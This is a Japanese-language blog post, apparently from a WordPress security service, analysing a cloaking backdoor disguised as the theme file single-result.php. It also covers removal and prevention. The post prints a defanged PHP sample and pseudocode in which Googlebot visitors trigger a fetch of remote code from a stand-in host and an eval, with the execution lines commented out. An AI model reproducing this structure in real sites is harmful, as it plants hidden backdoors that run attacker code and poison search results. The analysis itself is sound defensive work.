目次
マルウェアの概要
本件は「single-result.php」という名称で設置されていた不正PHPファイルです。
single-result.php は、検索結果テンプレートやカスタム表示用ファイルに見える自然な名称です。しかし実際には、検索エンジン向け表示を改ざんするクローキング型バックドアでした。
通常ユーザーには正常ページを表示し、Googlebotなど検索クローラーに対してのみ異なるコンテンツを返す構造を持っていました。
特徴
- テーマテンプレート風の自然なファイル名
- 検索エンジン判定ロジックを内蔵
- 外部ドメインへの通信処理
- 動的実行(eval相当構造)
- エラーを出さず静かに動作
検索結果ページに紛れ込ませることで、SEO改ざんを狙う高度な手法です。
無毒化したコードの一部をサンプルで表記
危険部分を無効化した典型例:
<?php
function is_bot(){
$ua = strtolower($_SERVER['HTTP_USER_AGENT']);
return (strpos($ua,'googlebot') !== false);
}
if(is_bot()){
$remote = "https://example-remote.com/payload.php";
// $payload = file_get_contents($remote);
// eval($payload); ← 無効化
}
実際には、検索クローラーにのみスパムコンテンツを表示する仕組みでした。
感染ファイルの完全可読化ログ
解析結果の処理フロー:
- HTTP_USER_AGENTを取得
- Google/Bing等を判定
- 外部サーバーへリクエスト
- 取得データを実行(危険部分は無効化)
- 通常ユーザーには通常表示
擬似構造:
if(check_search_engine()){
$payload = fetch_remote_code();
// execute($payload); ← 無効化
}
これは典型的な「SEOスパム挿入型バックドア」です。
危険性
このタイプのマルウェアが存在すると:
- 検索順位の急落
- site:検索で不審URLが大量表示
- 海外カジノ・医薬品リンク挿入
- Google警告表示
- 広告アカウント停止
通常アクセスでは問題が見えないため、発見が遅れることが最大のリスクです。
実際の感染事例
主な侵入経路:
- 更新停止プラグインの脆弱性
- 管理画面ブルートフォース攻撃
- FTP情報漏えい
- nulledテーマ利用
設置場所:
- テーマフォルダ内
- カスタムテンプレート直下
- ルート直下
駆除と復旧の方法
1. 不審テンプレート削除
- 正規テーマとの比較
- 改ざん箇所特定
2. テーマ再インストール
- 正規版を再アップロード
- 不審コード削除
3. SEO回復対応
- Search Console確認
- 不審URL削除申請
- 再審査リクエスト
再発防止のセキュリティ対策
- 定期アップデート
- ファイル改ざん監視
- WAF導入
- 二段階認証
- FTP制限
- 外部通信ログ監視
まとめ:検索結果偽装は静かに被害を拡大する
single-result.phpのような検索結果偽装型バックドアは、検索エンジンのみを狙う高度な攻撃です。
被害は徐々に進行し、気づいたときにはSEO評価が大きく下落していることがあります。
定期的な整合性チェックと専門的な解析が不可欠です。
著者情報
WordPressのセキュリティ復旧・運用支援を専門する CreativeStudio樂のエンジニアユニット によって執筆されております。
WordPressのマルウェア駆除、改ざん復旧、セキュリティ強化の豊富な実務経験に基づき、
